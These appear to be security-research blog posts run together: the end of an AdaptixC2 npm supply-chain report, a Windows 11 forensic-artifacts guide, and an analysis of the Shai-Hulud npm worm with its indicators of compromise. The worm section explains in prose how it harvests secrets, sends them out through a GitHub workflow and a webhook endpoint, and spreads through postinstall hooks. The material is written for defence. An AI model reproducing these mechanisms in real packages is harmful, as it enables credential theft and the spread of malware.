    In Windows, the AdaptixC2 agent is dropped as a DLL file into the system directory C:\Windows\Tasks. It is then executed via DLL sideloading. The JS script copies the legitimate msdtc.exe file to the same directory and executes it, thus loading the malicious DLL.

    Deobfuscated Windows-specific code for loading AdaptixC2

    Deobfuscated Windows-specific code for loading AdaptixC2

    In macOS, the script downloads the payload as an executable file into the user’s autorun directory: Library/LaunchAgents. The postinstall.js script also drops a plist autorun configuration file into this directory. Before downloading AdaptixC2, the script checks the target architecture (x64 or ARM) and fetches the appropriate payload variant.

    Deobfuscated macOS-specific code for loading AdaptixC2

    Deobfuscated macOS-specific code for loading AdaptixC2

    In Linux, the framework’s agent is downloaded into the temporary directory /tmp/.fonts-unix. The script delivers a binary file tailored to the specific architecture (x64 or ARM) and then assigns it execute permissions.

    Deobfuscated Linux-specific code for loading AdaptixC2

    Deobfuscated Linux-specific code for loading AdaptixC2

    Once the AdaptixC2 framework agent is deployed on the victim’s device, the attacker gains capabilities for remote access, command execution, file and process management, and various methods for achieving persistence. This both allows the attacker to maintain consistent access and enables them to conduct network reconnaissance and deploy subsequent stages of the attack.

    Conclusion

    This is not the first attack targeting the npm registry in recent memory. A month ago, similar infection methods utilizing a post-install script were employed in the high-profile incident involving the Shai-Hulud worm, which infected more than 500 packages. The AdaptixC2 incident clearly demonstrates the growing trend of abusing open-source software ecosystems, like npm, as an attack vector. Threat actors are increasingly exploiting the trusted open-source supply chain to distribute post-exploitation framework agents and other forms of malware. Users and organizations involved in development or using open-source software from ecosystems like npm in their products are susceptible to this threat type.

    To stay safe, be vigilant when installing open-source modules: verify the exact name of the package you are downloading, and more thoroughly vet unpopular and new repositories. When using popular modules, it is critical to monitor frequently updated feeds on compromised packages and libraries.

    Indicators of compromise

    Package name
    https-proxy-utils

    Hashes
    DFBC0606E16A89D980C9B674385B448E – package hash
    B8E27A88730B124868C1390F3BC42709
    669BDBEF9E92C3526302CA37DC48D21F
    EDAC632C9B9FF2A2DA0EACAAB63627F4
    764C9E6B6F38DF11DC752CB071AE26F9
    04931B7DFD123E6026B460D87D842897

    Network indicators
    cloudcenter[.]top/sys/update
    cloudcenter[.]top/macos_update_arm
    cloudcenter[.]top/macos_update_x64
    cloudcenter[.]top/macosUpdate[.]plist
    cloudcenter[.]top/linux_update_x64
    cloudcenter[.]top/linux_update_arm

    The king is dead, long live the king! Windows 10 EOL and Windows 11 forensic artifacts

    Introduction

    Windows 11 was released a few years ago, yet it has seen relatively weak enterprise adoption. According to statistics from our Global Emergency Response Team (GERT) investigations, as recently as early 2025, we found that Windows 7, which reached end of support in 2020, was encountered only slightly less often than the newest operating system. Most systems still run Windows 10.

    Distribution of Windows versions in organizations’ infrastructure. The statistics are based on the Global Emergency Response Team (GERT) data (download)

    The most widely used operating system was released more than a decade ago, and Microsoft discontinues its support on October 14, 2025. This means we are certainly going to see an increase in the number of Windows 11 systems in organizations where we provide incident response services. This is why we decided to offer a brief overview of changes to forensic artifacts in this operating system. The information should be helpful to our colleagues in the field. The artifacts described here are relevant for Windows 11 24H2, which is the latest OS version at the time of writing this.

    What is new in Windows 11

    Recall

    The Recall feature was first introduced in May 2024. It allows the computer to remember everything a user has done on the device over the past few months. It works by taking screenshots of the entire display every few seconds. A local AI engine then analyzes these screenshots in the background, extracting all useful information, which is subsequently saved to a database. This database is then used for intelligent searching. Since May 2025, Recall has been broadly available on computers equipped with an NPU, a dedicated chip for AI computations, which is currently compatible only with ARM CPUs.

    Microsoft Recall is certainly one of the most highly publicized and controversial features announced for Windows 11. Since its initial reveal, it has been the subject of criticism within the cybersecurity community because of the potential threat it poses to data privacy. Microsoft refined Recall before its release, yet certain concerns remain. Because of its controversial nature, the option is disabled by default in corporate builds of Windows 11. However, examining the artifacts it creates is worthwhile, just in case an attacker or malicious software activates it. In theory, an organization’s IT department could enable Recall using Group Policies, but we consider that scenario unlikely.

    As previously mentioned, Recall takes screenshots, which naturally requires temporary storage before analysis. The raw JPEG images can be found at %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ImageStore\*. The filenames themselves are the screenshot identifiers (more on those later).

    Along with the screenshots, their metadata is stored within the standard Exif.Photo.MakerNote (0x927c) tag. This tag holds a significant amount of interesting data, such as the boundaries of the foreground window, the capture timestamp, the window title, the window identifier, and the full path of the process that launched the window. Furthermore, if a browser is in use during the screenshot capture, the URI and domain may be preserved, among other details.

    Recall is activated on a per-user basis. A key in the user’s registry hive, specifically Software\Policies\Microsoft\Windows\WindowsAI\, is responsible for enabling and disabling the saving of these screenshots. Microsoft has also introduced several new registry keys associated with Recall management in the latest Windows 11 builds.

    It is important to note that the version of the feature refined following public controversy includes a specific filter intended to prevent the saving of screenshots and text when potentially sensitive information is on the screen. This includes, for example, an incognito browser window, a payment data input field, or a password manager. However, researchers have indicated that this filter may not always engage reliably.

    To enable fast searches across all data captured from screenshots, the system uses two DiskANN vector databases (SemanticTextStore.sidb and SemanticImageStore.sidb). However, the standard SQLite database is the most interesting one for investigation: %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ukg.db, which consists of 20 tables. In the latest release, it is accessible without administrative privileges, yet it is encrypted. At the time of writing this post, there are no publicly known methods to decrypt the database directly. Therefore, we will examine the most relevant tables from the 2024 Windows 11 beta release with Recall.

    • The App table holds data about the process that launched the application’s graphical user interface window.
    • The AppDwellTime table contains information such as the full path of the process that initiated the application GUI window (WindowsAppId column), the date and time it was launched (HourOfDay, DayOfWeek, HourStartTimestamp), and the duration the window’s display (DwellTime).
    • The WindowCapture table records the type of event (Name column):
      • WindowCreatedEvent indicates the creation of the first instance of the application window. It can be correlated with the process that created the window.
      • WindowChangedEvent tracks changes to the window instance. It allows monitoring movements or size changes of the window instance with the help of the WindowId column, which contains the window’s identifier.
      • WindowCaptureEvent signifies the creation of a screen snapshot that includes the application window. Besides the window identifier, it contains an image identifier (ImageToken). The value of this token can later be used to retrieve the JPEG snapshot file from the aforementioned ImageStore directory, as the filename corresponds to the image identifier.
      • WindowDestroyedEvent signals the closing of the application window.
      • ForegroundChangedEvent does not contain useful data from a forensics perspective.

      The WindowCapture table also includes a flag indicating whether the application window was in the foreground (IsForeground column), the window boundaries as screen coordinates (WindowBounds), the window title (WindowTitle), a service field for properties (Properties), and the event timestamp (TimeStamp).

    • WindowCaptureTextIndex_content contains the text extracted with Optical Character Recognition (OCR) from the snapshot (c2 column), the window title (WindowTitle), the application path (App.Path), the snapshot timestamp (TimeStamp), and the name (Name). This table can be used in conjunction with the WindowCapture (the c0 and Id columns hold identical data, which can be used for joining the tables) and App tables (identical data resides in the AppId and Id columns).

    Recall artifacts (if the feature was enabled on the system prior to the incident) represent a “goldmine” for the incident responder. They allow for a detailed reconstruction of the attacker’s activity within the compromised system. Conversely, this same functionality can be weaponized: as mentioned previously, the private information filter in Recall does not work flawlessly. Consequently, attackers and malware can exploit it to locate credentials and other sensitive information.

    Updated standard applications

    Standard applications in Windows 11 have also undergone updates, and for some, this involved changes to both the interface and functionality. Specifically, applications such as Notepad, File Explorer, and the Command Prompt in this version of the OS now support multi-tab mode. Notably, Notepad retains the state of these tabs even after the process terminates. Therefore, Windows 11 now has new artifacts associated with the usage of this application. Our colleague, AbdulRhman Alfaifi, researched these in detail; his work is available here.

    The main directory for Notepad artifacts in Windows 11 is located at %LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\.
    This directory contains two subdirectories:

    • TabState stores a {GUID}.bin state file for each Notepad tab. This file contains the tab’s contents if the user did not save it to a file. For saved tabs, the file contains the full path to the saved content, the SHA-256 hash of the content, the content itself, the last write time to the file, and other details.
    • WindowsState stores information about the application window state. This includes the total number of tabs, their order, the currently active tab, and the size and position of the application window on the screen. The state file is named either *.0.bin or *.1.bin.

    The structure of {GUID}.bin for saved tabs is as follows:

    Field Type Value and explanation
    signature [u8;2] NP
    ? u8 00
    file_saved_to_path bool 00 = the file was not saved at the specified path
    01 = the file was saved
    path_length uLEB128 Length of the full path (in characters) to the file where the tab content was written
    file_path UTF-16LE The full path to the file where the tab content was written
    file_size uLEB128 The size of the file on disk where the tab content was written
    encoding u8 File encoding:
    0x01 – ANSI
    0x02 – UTF-16LE
    0x03 – UTF-16BE
    0x04 – UTF-8BOM
    0x05 – UTF-8
    cr_type u8 Type of carriage return:
    0x01 — CRLF
    0x02 — CR
    0x03 — LF
    last_write_time uLEB128 The time of the last write (tab save) to the file, formatted as FILETIME
    sha256_hash [u8;32] The SHA-256 hash of the tab content
    ? [u8;2] 00 01
    selection_start uLEB128 The offset of the section start from the beginning of the file
    selection_end uLEB128 The offset of the section end from the beginning of the file
    config_block ConfigBlock ConfigBlock structure configuration
    content_length uLEB128 The length of the text in the file
    content UTF-16LE The file content before it was modified by the new data. This field is absent if the tab was saved to disk with no subsequent modifications.
    contain_unsaved_data bool 00 = the tab content in the {GUID}.bin file matches the tab content in the file on disk
    01 = changes to the tab have not been saved to disk
    checksum [u8;4] The CRC32 checksum of the {GUID}.bin file content, offset by 0x03 from the start of the file
    unsaved_chunks [UnsavedChunk] A list of UnsavedChunk structures. This is absent if the tab was saved to disk with no subsequent modifications
    Example content of the {GUID.bin} file for a Notepad tab that was saved to a file and then modified with new data which was not written to the file

    Example content of the {GUID.bin} file for a Notepad tab that was saved to a file and then modified with new data which was not written to the file

    For tabs that were never saved, the {GUID}.bin file structure in the TabState directory is shorter:

    Field Type Value and explanation
    signature [u8;2] NP
    ? u8 00
    file_saved_to_path bool 00 = the file was not saved at the specified path (always)
    selection_start uLEB128 The offset of the section start from the beginning of the file
    selection_end uLEB128 The offset of the section end from the beginning of the file
    config_block ConfigBlock ConfigBlock structure configuration
    content_length uLEB128 The length of the text in the file
    content UTF-16LE File content
    contain_unsaved_data bool 01 = changes to the tab have not been saved to disk (always)
    checksum [u8;4] The CRC32 checksum of the {GUID}.bin file content, offset by 0x03 from the start of the file
    unsaved_chunks [UnsavedChunk] List of UnsavedChunk structures
    Example content of the {GUID.bin} file for a Notepad tab that has not been saved to a file

    Example content of the {GUID.bin} file for a Notepad tab that has not been saved to a file

    Note that the saving of tabs may be disabled in the Notepad settings. If this is the case, the TabState and WindowState artifacts will be unavailable for analysis.

    If these artifacts are available, however, you can use the notepad_parser tool, developed by our colleague Abdulrhman Alfaifi, to automate working with them.

    This particular artifact may assist in recovering the contents of malicious scripts and batch files. Furthermore, it may contain the results and logs from network scanners, credential extraction utilities, and other executables used by threat actors, assuming any unsaved modifications were inadvertently made to them.

    Changes to familiar artifacts in Windows 11

    In addition to the new artifacts, Windows 11 introduced several noteworthy changes to existing ones that investigators should be aware of when analyzing incidents.

    Changes to NTFS attribute behavior

    The behavior of NTFS attributes was changed between Windows 10 and Windows 11 in two $MFT structures: $STANDARD_INFORMATION and $FILE_NAME.

    The changes to the behavior of the $STANDARD_INFORMATION attributes are presented in the table below:

    Event Access file Rename file Copy file to new folder Move file within one volume Move file between volumes
    Win 10
    1903
    The File Access timestamp is updated. However, it remains unchanged if the system volume is larger than 128 GB The File Access timestamp remains unchanged The copy metadata is updated The File Access timestamp remains unchanged The metadata is inherited from the original file
    Win 11 24H2 The File Access timestamp is updated The File Access timestamp is updated to match the modification time The copy metadata is inherited from the original file The File Access timestamp is updated to match the moving time The metadata is updated

    Behavior of the $FILENAME attributes was changed as follows:

    Event Rename file Move file via Explorer within one volume Move file to Recycle Bin
    Win 10
    1903
    The timestamps and metadata remain unchanged The timestamps and metadata remain unchanged The timestamps and metadata remain unchanged
    Win 11 24H2 The File Access and File Modify timestamps along with the metadata are inherited from the previous version of $STANDARD_INFORMATION The File Access and File Modify timestamps along with the metadata are inherited from the previous version of $STANDARD_INFORMATION The File Access and File Modify timestamps along with the metadata are inherited from the previous version of $STANDARD_INFORMATION

    Analysts should consider these changes when examining the service files of the NTFS file system.

    Program Compatibility Assistant

    Program Compatibility Assistant (PCA) first appeared way back in 2006 with the release of Windows Vista. Its purpose is to run applications designed for older operating system versions, thus being a relevant artifact for identifying evidence of program execution.

    Windows 11 introduced new files associated with this feature that are relevant for forensic analysis of application executions. These files are located in the directory C:\Windows\appcompat\pca\:

    • PcaAppLaunchDic.txt: each line in this file contains data on the most recent launch of a specific executable file. This information includes the time of the last launch formatted as YYYY-MM-DD HH:MM:SS.f (UTC) and the full path to the file. A pipe character (|) separates the data elements. When the file is run again, the information in the corresponding line is updated. The file uses ANSI (CP-1252) encoding, so executing files with Unicode in their names “breaks” it: new entries (including the entry for running a file with Unicode) stop appearing, only old ones get updated.

    • PcaGeneralDb0.txt and PcaGeneralDb1.txt alternate during data logging: new records are saved to the primary file until its size reaches two megabytes. Once that limit is reached, the secondary file is cleared and becomes the new primary file, and the full primary file is then designated as the secondary. This cycle repeats indefinitely. The data fields are delimited with a pipe (|). The file uses UTF-16LE encoding and contains the following fields:
      • Executable launch time (YYYY-MM-DD HH:MM:SS.f (UTC))
      • Record type (0–4):
        • 0 = installation error
        • 1 = driver blocked
        • 2 = abnormal process exit
        • 3 = PCA Resolve call (component responsible for fixing compatibility issues when running older programs)
        • 4 = value not set
      • Path to executable file. This path omits the volume letter and frequently uses environment variables (%USERPROFILE%, %systemroot%, %programfiles%, and others).
      • Product name (from the PE header, lowercase)
      • Company name (from the PE header, lowercase)
      • Product version (from the PE header)
      • Windows application ID (format matches that used in AmCache)
      • Message

    Note that these text files only record data related to program launches executed through Windows File Explorer. They do not log launches of executable files initiated from the console.

    Windows Search

    Windows Search is the built-in indexing and file search mechanism within Windows. Initially, it combed through files directly, resulting in sluggish and inefficient searches. Later, a separate application emerged that created a fast file index. It was not until 2006’s Windows Vista that a search feature was fully integrated into the operating system, with file indexing moved to a background process.

    From Windows Vista up to and including Windows 10, the file index was stored in an Extensible Storage Engine (ESE) database:
    %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows.edb.

    Windows 11 breaks this storage down into three SQLite databases:

    • %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows-gather.db contains general information about indexed files and folders. The most interesting element is the SystemIndex_Gthr table, which stores data such as the name of the indexed file or directory (FileName column), the last modification of the indexed file or directory (LastModified), an identifier used to link to the parent object (ScopeID), and a unique identifier for the file or directory itself (DocumentID). Using the ScopeID and the SystemIndex_GthrPth table, investigators can reconstruct the full path to a file on the system. The SystemIndex_GthrPth table contains the folder name (Name column), the directory identifier (Scope), and the parent directory identifier (Parent). By matching the file’s ScopeID with the directory’s Scope, one can determine the parent directory of the file.
    • %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows.db stores information about the metadata of indexed files. The SystemIndex_1_PropertyStore table is of interest for analysis; it holds the unique identifier of the indexed object (WorkId column), the metadata type (ColumnId), and the metadata itself. Metadata types are described in the SystemIndex_1_PropertyStore_Metadata table (where the content of the Id column corresponds to the ColumnId content from SystemIndex_1_PropertyStore) and are specified in the UniqueKey column.
    • %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows-usn.db does not contain useful information for forensic analysis.

    As depicted in the image below, analyzing the Windows-gather.db file using DB Browser for SQLite can provide us evidence of the presence of certain files (e.g., malware files, configuration files, files created and left by attackers, and others).

    It is worth noting that the LastModified column is stored in the Windows FILETIME format, which holds an unsigned 64-bit date and time value, representing the number of 100-nanosecond units since the start of January 1, 1601. Using a utility such as DCode, we can see this value in UTC, as shown in the image below.

    Other minor changes in Windows 11

    It is also worth mentioning a few small but important changes in Windows 11 that do not require a detailed analysis:

    • A complete discontinuation of NTLMv1 means that pass-the-hash attacks are gradually becoming a thing of the past.
    • Removal of the well-known Windows 10 Timeline activity artifact. Although it is no longer being actively maintained, its database remains for now in the files containing user activity information, located at: %userprofile%\AppData\Local\ConnectedDevicesPlatform\ActivitiesCache.db.
    • Similarly, Windows 11 removed Cortana and Internet Explorer, but the artifacts of these can still be found in the operating system. This may be useful for investigations conducted in machines that were updated from Windows 10 to the newer version.
    • Previous research also showed that Event ID 4624, which logs successful logon attempts in Windows, remained largely consistent across versions until a notable update appeared in Windows 11 Pro (22H2). This version introduces a new field, called Remote Credential Guard, marking a subtle but potentially important change in forensic analysis. While its real-world use and forensic significance remain to be observed, its presence suggests Microsoft’s ongoing efforts to enhance authentication-related telemetry.
    • Expanded support for the ReFS file system. The latest Windows 11 update preview made it possible to install the operating system directly onto a ReFS volume, and BitLocker support was also introduced. This file system has several key differences from the familiar NTFS:
      • ReFS does not have the $MFT (Master File Table) that forensics specialists rely on, which contains all current file records on the disk.
      • It does not generate short file names, as NTFS does for DOS compatibility.
      • It does not support hard links or extended object attributes.
      • It offers increased maximum volume and single-file sizes (35 PB compared to 256 TB in NTFS).

    Conclusion

    This post provided a brief overview of key changes to Windows 11 artifacts that are relevant to forensic analysis – most notably, the changes of PCA and modifications to Windows Search mechanism. The ultimate utility of these artifacts in investigations remains to be seen. Nevertheless, we recommend you immediately incorporate the aforementioned files into the scope of your triage collection tool.

    Massive npm infection: the Shai-Hulud worm and patient zero

    Introduction

    The modern development world is almost entirely dependent on third-party modules. While this certainly speeds up development, it also creates a massive attack surface for end users, since anyone can create these components. It is no surprise that malicious modules are becoming more common. When a single maintainer account for popular modules or a single popular dependency is compromised, it can quickly turn into a supply chain attack. Such compromises are now a frequent attack vector trending among threat actors. In the last month alone, there have been two major incidents that confirm this interest in creating malicious modules, dependencies, and packages. We have already discussed the recent compromise of popular npm packages. September 16, 2025 saw reports of a new wave of npm package infections, caused by the self-propagating malware known as Shai-Hulud.

    Shai-Hulud is designed to steal sensitive data, expose private repositories of organizations, and hijack victim credentials to infect other packages and spread on. Over 500 packages were infected in this incident, including one with more than two million weekly downloads. As a result, developers who integrated these malicious packages into their projects risk losing sensitive data, and their own libraries could become infected with Shai-Hulud. This self-propagating malware takes over accounts and steals secrets to create new infected modules, spreading the threat along the dependency chain.

    Technical details

    The worm’s malicious code executes when an infected package is installed. It then publishes infected releases to all packages the victim has update permissions for.

    Once the infected package is installed from the npm registry on the victim’s system, a special command is automatically executed. This command launches a malicious script over 3 MB in size named bundle.js, which contains several legitimate, open-source work modules.

    Key modules within bundle.js include:

    • Library for interacting with AWS cloud services
    • GCP module that retrieves metadata from the Google Cloud Platform environment
    • Functions for TruffleHog, a tool for scanning various data sources to find sensitive information, specifically secrets
    • Tool for interacting with the GitHub API

    The JavaScript file also contains network utilities for data transfer and the main operational module, Shai-Hulud.

    The worm begins its malicious activity by collecting information about the victim’s operating system and checking for an npm token and authenticated GitHub user token in the environment. If a valid GitHub token is not present, bundle.js will terminate. A distinctive feature of Shai-Hulud is that most of its functionality is geared toward Linux and macOS systems: almost all malicious actions are performed exclusively on these systems, with the exception of using TruffleHog to find secrets.

    Exfiltrating secrets

    After passing the checks, the malware uses the token mentioned earlier to get information about the current GitHub user. It then runs the extraction function, which creates a temporary executable bash script at /tmp/processor.sh and runs it as a separate process, passing the token as an argument. Below is the extraction function, with strings and variable names modified for readability since the original source code was illegible.

    The extraction function, formatted for readability

    The extraction function, formatted for readability

    The bash script is designed to communicate with the GitHub API and collect secrets from the victim’s repository in an unconventional way. First, the script checks if the token has the necessary permissions to create branches and work with GitHub Actions. If it does, the script gets a list of all the repositories the user can access from 2025. In each of these, it creates a new branch named shai-hulud and uploads a shai-hulud-workflow.yml workflow, which is a configuration file for describing GitHub Actions workflows. These files are automation scripts that are triggered in GitHub Actions whenever changes are made to a repository. The Shai-Hulud workflow activates on every push.

    The malicious workflow configuration

    The malicious workflow configuration

    This file collects secrets from the victim’s repositories and forwards them to the attackers’ server. Before being sent, the confidential data is encoded twice with Base64.

    This unusual method for data collection is designed for a one-time extraction of secrets from a user’s repositories. However, it poses a threat not only to Shai-Hulud victims but also to ordinary researchers. If you search for “shai-hulud” on GitHub, you will find numerous repositories that have been compromised by the worm.

    Open GitHub repositories compromised by Shai-Hulud

    Open GitHub repositories compromised by Shai-Hulud

    The main bundle.js script then requests a list of all organizations associated with the victim and runs the migration function for each one. This function also runs a bash script, but in this case, it saves it to /tmp/migrate-repos.sh, passing the organization name, username, and token as parameters for further malicious activity.

    The bash script automates the migration of all private and internal repositories from the specified GitHub organization to the user’s account, making them public. The script also uses the GitHub API to copy the contents of the private repositories as mirrors.

    We believe these actions are intended for the automated theft of source code from the private repositories of popular communities and organizations. For example, the well-known company CrowdStrike was caught in this wave of infections.

    The worm’s self-replication

    After running operations on the victim’s GitHub, the main bundle.js script moves on to its next crucial stage: self-replication. First, the script gets a list of the victim’s 20 most downloaded packages. To do this, it performs a search query with the username from the previously obtained npm token:

    https://registry.npmjs.org/-/v1/search?text=maintainer:{%user_details%}&size=20

    Next, for each of the packages it finds, it calls the updatePackage function. This function first attempts to download the tarball version of the package (a .TAR archive). If it exists, a temporary directory named npm-update-{target_package_name} is created. The tarball version of the package is saved there as package.tgz, then unpacked and modified as follows:

    • The malicious bundle.js is added to the original package.
    • A postinstall command is added to the package.json file (which is used in Node.js projects to manage dependencies and project metadata). This command is configured to execute the malicious script via node bundle.js.
    • The package version number is incremented by 1.

    The modified package is then re-packed and published to npm as a new version with the npm publish command. After this, the temporary directory for the package is cleared.

    The updatePackage function, formatted for readability

    The updatePackage function, formatted for readability

    Uploading secrets to GitHub

    Next, the worm uses the previously mentioned TruffleHog utility to harvest secrets from the target system. It downloads the latest version of the utility from the original repository for the specific operating system type using the following link:

    https://github.com/trufflesecurity/trufflehog/releases/download/{utility version}/{OS-specific file}

    The worm also uses modules for AWS and Google Cloud Platform (GCP) to scan for secrets. The script then aggregates the collected data into a single object and creates a repository named “Shai-Hulud” in the victim’s profile. It then uploads the collected information to this repository as a data.json file.

    Below is a list of data formats collected from the victim’s system and uploaded to GitHub:

    {
     "application": {
      "name": "",
      "version": "",
      "description": ""
     },
     "system": {
      "platform": "",
      "architecture": "",
      "platformDetailed": "",
      "architectureDetailed": ""
     },
     "runtime": {
      "nodeVersion": "",
      "platform": "",
      "architecture": "",
      "timestamp": ""
     },
     "environment": {
     },
     "modules": {
      "github": {
       "authenticated": false,
       "token": "",
       "username": {}
      },
      "aws": {
       "secrets": []
      },
      "gcp": {
       "secrets": []
      },
      "truffleHog": {
       "available": false,
       "installed": false,
       "version": "",
       "platform": "",
       "results": [
        {}
       ]
      },
      "npm": {
       "token": "",
       "authenticated": true,
       "username": ""
      }
     }
    }

    Infection characteristics

    A distinctive characteristic of the modified packages is that they contain an archive named package.tar. This is worth noting because packages usually contain an archive with a name that matches the package itself.

    Through our research, we were able to identify the first package from which Shai-Hulud began to spread, thanks to a key difference. As we mentioned earlier, after infection, a postinstall command to execute the malicious script, node bundle.js, is written to the package.json file. This command typically runs immediately after installation. However, we discovered that one of the infected packages listed the same command as a preinstall command, meaning it ran before the installation. This package was ngx-bootstrap version 18.1.4. We believe this was the starting point for the spread of this infection. This hypothesis is further supported by the fact that the archive name in the first infected version of this package differed from the name characteristic of later infected packages (package.tar).

    While investigating different packages, we noticed that in some cases, a single package contained multiple versions with malicious code. This was likely possible because the infection spread to all maintainers and contributors of packages, and the malicious code was then introduced from each of their accounts.

    Infected libraries and CrowdStrike

    The rapidly spreading Shai-Hulud worm has infected many popular libraries that organizations and developers use daily. Shai-Hulud has infected over 500 popular packages in recent days, including libraries from the well-known company CrowdStrike.
    Among the infected libraries were the following:

    • @crowdstrike/commitlint versions 8.1.1, 8.1.2
    • @crowdstrike/falcon-shoelace versions 0.4.1, 0.4.2
    • @crowdstrike/foundry-js versions 0.19.1, 0.19.2
    • @crowdstrike/glide-core versions 0.34.2, 0.34.3
    • @crowdstrike/logscale-dashboard versions 1.205.1, 1.205.2
    • @crowdstrike/logscale-file-editor versions 1.205.1, 1.205.2
    • @crowdstrike/logscale-parser-edit versions 1.205.1, 1.205.2
    • @crowdstrike/logscale-search versions 1.205.1, 1.205.2
    • @crowdstrike/tailwind-toucan-base versions 5.0.1, 5.0.2

    But the event that has drawn significant attention to this spreading threat was the infection of the @ctrl/tinycolor library, which is downloaded by over two million users every week.

    As mentioned above, the malicious script exposes an organization’s private repositories, posing a serious threat to their owners, as this creates a risk of exposing the source code of their libraries and products, among other things, and leading to an even greater loss of data.

    Prevention and protection

    To protect against this type of infection, we recommend using a specialized solution for monitoring open-source components. Kaspersky maintains a continuous feed of compromised packages and libraries, which can be used to secure your supply chain and protect development from similar threats.

    For personal devices, we recommend Kaspersky Premium, which provides multi-layered protection to prevent and neutralize infection threats. Our solution can also restore the device’s functionality if it’s infected with malware.

    For corporate devices, we advise implementing a comprehensive solution like Kaspersky Next, which allows you to build a flexible and effective security system. This product line provides threat visibility and real-time protection, as well as EDR and XDR capabilities for investigation and response. It is suitable for organizations of any scale or industry.

    Kaspersky products detect the Shai-Hulud threat as HEUR:Worm.Script.Shulud.gen.

    In the event of a Shai-Hulud infection, and as a proactive response to the spreading threat, we recommend taking the following measures across your systems and infrastructure:

    • Use a reliable security solution to conduct a full system scan.
    • Audit your GitHub repositories:
      • Check for repositories named shai-hulud.
      • Look for non-trivial or unknown branches, pull requests, and files.
      • Audit GitHub Actions logs for strings containing shai-hulud.
    • Reissue npm and GitHub tokens, cloud keys (specifically for AWS and Google Cloud Platform), and rotate other secrets.
    • Clear the cache and inventory your npm modules: check for malicious ones and roll back versions to clean ones.
    • Check for indicators of compromise, such as files in the system or network artifacts.

    Indicators of compromise

    Files:
    bundle.js
    shai-hulud-workflow.yml

    Strings:
    shai-hulud

    Hashes:
    C96FBBE010DD4C5BFB801780856EC228
    78E701F42B76CCDE3F2678E548886860

    Network artifacts:
    https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

    Compromised packages:
    @ahmedhfarag/ngx-perfect-scrollbar
    @ahmedhfarag/ngx-virtual-scroller
    @art-ws/common
    @art-ws/config-eslint
    @art-ws/config-ts
    @art-ws/db-context
    @art-ws/di
    @art-ws/di-node
    @art-ws/eslint
    @art-ws/fastify-http-server
    @art-ws/http-server
    @art-ws/openapi
    @art-ws/package-base
    @art-ws/prettier
    @art-ws/slf
    @art-ws/ssl-info
    @art-ws/web-app
    @basic-ui-components-stc/basic-ui-components
    @crowdstrike/commitlint
    @crowdstrike/falcon-shoelace
    @crowdstrike/foundry-js
    @crowdstrike/glide-core
    @crowdstrike/logscale-dashboard
    @crowdstrike/logscale-file-editor
    @crowdstrike/logscale-parser-edit
    @crowdstrike/logscale-search
    @crowdstrike/tailwind-toucan-base
    @ctrl/deluge
    @ctrl/golang-template
    @ctrl/magnet-link
    @ctrl/ngx-codemirror
    @ctrl/ngx-csv
    @ctrl/ngx-emoji-mart
    @ctrl/ngx-rightclick
    @ctrl/qbittorrent
    @ctrl/react-adsense
    @ctrl/shared-torrent
    @ctrl/tinycolor
    @ctrl/torrent-file
    @ctrl/transmission
    @ctrl/ts-base32
    @nativescript-community/arraybuffers
    @nativescript-community/gesturehandler
    @nativescript-community/perms
    @nativescript-community/sentry
    @nativescript-community/sqlite
    @nativescript-community/text
    @nativescript-community/typeorm
    @nativescript-community/ui-collectionview
    @nativescript-community/ui-document-picker
    @nativescript-community/ui-drawer
    @nativescript-community/ui-image
    @nativescript-community/ui-label
    @nativescript-community/ui-material-bottom-navigation
    @nativescript-community/ui-material-bottomsheet
    @nativescript-community/ui-material-core
    @nativescript-community/ui-material-core-tabs
    @nativescript-community/ui-material-ripple
    @nativescript-community/ui-material-tabs
    @nativescript-community/ui-pager
    @nativescript-community/ui-pulltorefresh
    @nstudio/angular
    @nstudio/focus
    @nstudio/nativescript-checkbox
    @nstudio/nativescript-loading-indicator
    @nstudio/ui-collectionview
    @nstudio/web
    @nstudio/web-angular
    @nstudio/xplat
    @nstudio/xplat-utils
    @operato/board
    @operato/data-grist
    @operato/graphql
    @operato/headroom
    @operato/help
    @operato/i18n
    @operato/input
    @operato/layout
    @operato/popup
    @operato/pull-to-refresh
    @operato/shell
    @operato/styles
    @operato/utils
    @teselagen/bio-parsers
    @teselagen/bounce-loader
    @teselagen/file-utils
    @teselagen/liquibase-tools
    @teselagen/ove
    @teselagen/range-utils
    @teselagen/react-list
    @teselagen/react-table
    @teselagen/sequence-utils
    @teselagen/ui
    @thangved/callback-window
    @things-factory/attachment-base
    @things-factory/auth-base
    @things-factory/email-base
    @things-factory/env
    @things-factory/integration-base
    @things-factory/integration-marketplace
    @things-factory/shell
    @tnf-dev/api
    @tnf-dev/core
    @tnf-dev/js
    @tnf-dev/mui
    @tnf-dev/react
    @ui-ux-gang/devextreme-angular-rpk
    @ui-ux-gang/devextreme-rpk
    @yoobic/design-system
    @yoobic/jpeg-camera-es6
    @yoobic/yobi
    ace-colorpicker-rpk
    airchief
    airpilot
    angulartics2
    another-shai
    browser-webdriver-downloader
    capacitor-notificationhandler
    capacitor-plugin-healthapp
    capacitor-plugin-ihealth
    capacitor-plugin-vonage
    capacitorandroidpermissions
    config-cordova
    cordova-plugin-voxeet2
    cordova-voxeet
    create-hest-app
    db-evo
    devextreme-angular-rpk
    devextreme-rpk
    ember-browser-services
    ember-headless-form
    ember-headless-form-yup
    ember-headless-table
    ember-url-hash-polyfill
    ember-velcro
    encounter-playground
    eslint-config-crowdstrike
    eslint-config-crowdstrike-node
    eslint-config-teselagen
    globalize-rpk
    graphql-sequelize-teselagen
    json-rules-engine-simplified
    jumpgate
    koa2-swagger-ui
    mcfly-semantic-release
    mcp-knowledge-base
    mcp-knowledge-graph
    mobioffice-cli
    monorepo-next
    mstate-angular
    mstate-cli
    mstate-dev-react
    mstate-react
    ng-imports-checker
    ng2-file-upload
    ngx-bootstrap
    ngx-color
    ngx-toastr
    ngx-trend
    ngx-ws
    oradm-to-gql
    oradm-to-sqlz
    ove-auto-annotate
    pm2-gelf-json
    printjs-rpk
    react-complaint-image
    react-jsonschema-form-conditionals
    react-jsonschema-form-extras
    react-jsonschema-rxnt-extras
    remark-preset-lint-crowdstrike
    rxnt-authentication
